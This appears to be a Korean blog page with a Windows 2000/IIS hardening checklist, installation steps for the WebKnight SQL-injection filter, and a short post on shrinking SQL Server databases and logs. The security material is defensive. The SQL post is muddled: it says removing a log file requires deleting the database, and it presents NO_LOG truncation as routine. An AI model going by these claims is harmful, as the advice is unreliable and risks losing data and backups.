이용하지 않는 계정은 삭제하고, Guest 계정은 항상 disable로 설정한다. Administrator 계정은 암호 설정 규칙을 충실히 따른 후 Rename해 쓴다. 그러나 윈도우 2000의 경우 Administrator 계정을 Rename해도 완벽히 대비할 수 없다는 점을 유의해야 한다. 윈도우 2000의 관리자 계정은 500번 이하의 기본 SID 값을 가지는 탓에, 해커들이 액티브 디렉토리나 로컬 SAM을 이용해 이 SID 값을 아이디로 바꿔 계정을 공격할 수 있다. 이를 방지하기 위해서는 다음의 과정을 따른다.

?U AD 환경이라면 그룹 정책 가운데 하나인 기본 도메인 정책을 수정한다.
‘컴퓨터 구성\Windows 설정\보안 설정\로컬 정책\보안 옵션’에서 익명 연결의 추가적인 제한을 ‘SAM 계정 및 공유 열거 허용 안 함’으로 선택한다.
?V AD 환경이 아니라면 시작-실행-gpedit.msc을 입력해 그룹정책을 적용한다.

■ Files and Directories
NTFS 파일시스템을 선택하고, 웹사이트의 루트 디렉토리는 SystemRoot 드라이브 외의 디렉토리에 위치시킨다. 아울러 웹로그 디렉토리는 SystemRoot 드라이브 및 웹사이트 루트 디렉토리 외의 볼륨에 두도록 한다. Everyone 그룹을 제거하고, Website Root 디렉토리에 IUSR_Machine 계정의 쓰기 권한을 주지 않는다.
자료실 이용 등으로 익명의 계정이 업로드해야 한다면, 해당 웹서비스의 디렉토리 내에는 Script 실행 권한을 부여하지 않는다. 기본 웹사이트와 관리 웹사이트는 삭제하거나 중지한다.


■ Shares
불필요한 공유는 없애고, 파일 공유 생성 시 권한에 유의한다. Everyone Access는 되도록 쓰지 않는다.


■ Ports
SSL을 구성한다.


■ Registry
원격 레지스트리 연결을 제한하기 위해 Remote Registry Service를 중지한다. 198쪽에서 계속

정리 | 전도영 [email protected]


참고자료

http://www.krcert.or.kr
Microsoft - Checklist: Securing Your Web Server



툴 소개


웹 침입 차단을 위한 프레임 제공, Webknight

Webknight는 공개 소프트웨어의 하나로 SQL Injection을 비롯해 여러 형태의 웹 공격을 차단하는 프레임을 제공한다. 웹사이트(http://www. aqtronix.com)에서 다운로드 해 이용할 수 있지만, 실제 서버에 적용하기 전에는 반드시 테스트 서버를 통한 점검이 이뤄져야 한다.

① 사이트(http://www.aqtronix.com/downloads/WebKnight/ 2004.02.01/WebKnight.zip)에서 다운로드한다.
② 압축을 해제하고, Setup 폴더 하위의 WebKnight.Msi를 실행해 설치한다.
③ IIS 웹서버를 Restart 한다.
④ 정상적으로 설치가 완료되면, <화면 7>과 같이 ISAPI Filters에 Webknight가 추가된다.
⑤ 기본 설치 폴더에서 C:\Program Files\AQTRONIX Webknight\ Config.exe를 실행하면, 현재 설정을 볼 수 있다.



<화면 7> ISAPI Filters에 Webknight 추가



⑥ <화면 8>처럼 SQL Injection 관련 설정을 확인하고, 필요한 경우 수정한다.
⑦ <화면 8>처럼 해당 Query가 2번 이상 요청되면 블로킹 웹사이트를 보여준다.
⑧블로킹 페이지를 수정할 때는 C:\Program Files\AQTRONIX Webknight\nohack.htm을 이용한다.

한편 무료 웹사이트 점검을 이용해 웹사이트의 취약점을 파악할 수도 있다. 한국정보보호진흥원이 마련한 웹 취약점 원격 점검 서비스(webcheck.krcert.or.kr)가 대표적이다. 이 사이트에 접속해 서비스를 신청하면 운영하는 웹사이트가 지닌 위험 요소를 쉽게 파악할 수 있다. 이외에도 많은 인터넷 데이터센터(IDC)들이 SQL Injection 무료 점검 서비스를 제공하고 있다.



<화면 8> SQL Injection 관련 설정 확인

tags : sql injection
Comment 0

데이터베이스 축소

SQL 2007/11/05 13:29
데이터베이스 줄이기
-------------------------------------------------------------------
DBCC SHRINKDATABASE ( mydb , 10 )

=> 전체 크기 중에서 10% 만큼의 빈 공간만 확보하고 나머지를 줄이라는 의미

DBCC SHRINKFILE ( mydb , 5 )

=> 파일을  5MB 줄임
-------------------------------------------------------------------

로그 줄이기
-------------------------------------------------------------------
로그가 지워지는 경우

- DBCC SHRINKDATABASE 문이 실행될때
- 파일을 참조하는 DBCC SHRINKFILE 문이 실행될때
- 자동 축소 작업이 발생할 때

로그를 지워도 될 경우

- 로그를 지운적이 있다
- 데이터베이스 복구 모델이 단순 모델이다
- 풀 백업을 받은 적이 없다

로그 지우는 방법

- BACKUP LOG PUBS WITH NO_LOG
-------------------------------------------------------------------

그래서 실질적으로 로그파일을 지우려면 로그를 지우고 데이터베이스를 삭제해야 한다

BACKUP LOG PUBS WITH NO_LOG

DBCC SHRINKDATABASE ( mydb , 10 )
Comment 0